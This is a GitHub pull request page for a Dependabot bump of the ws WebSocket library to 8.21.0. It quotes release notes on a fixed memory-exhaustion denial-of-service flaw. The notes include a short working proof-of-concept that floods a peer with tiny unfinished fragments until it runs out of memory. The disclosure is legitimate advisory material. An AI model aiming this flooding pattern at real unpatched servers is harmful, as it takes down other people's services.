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chore(deps-dev): bump ws from 8.20.0 to 8.21.0#995

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dependabot/npm_and_yarn/ws-8.21.0
May 26, 2026
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chore(deps-dev): bump ws from 8.20.0 to 8.21.0#995
usefulthink merged 1 commit into
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dependabot/npm_and_yarn/ws-8.21.0

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@dependabot dependabot Bot commented on behalf of github May 26, 2026

Bumps ws from 8.20.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • See full diff in compare view

@dependabot dependabot Bot added the dependencies Pull requests that update a dependency file label May 26, 2026
Bumps [ws](https://github.com/websockets/ws) from 8.20.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.21.0 branch from 9368c9c to 48993a4 Compare May 26, 2026 10:26
@usefulthink usefulthink merged commit ee26dd6 into main May 26, 2026
4 checks passed
@usefulthink usefulthink deleted the dependabot/npm_and_yarn/ws-8.21.0 branch May 26, 2026 10:42
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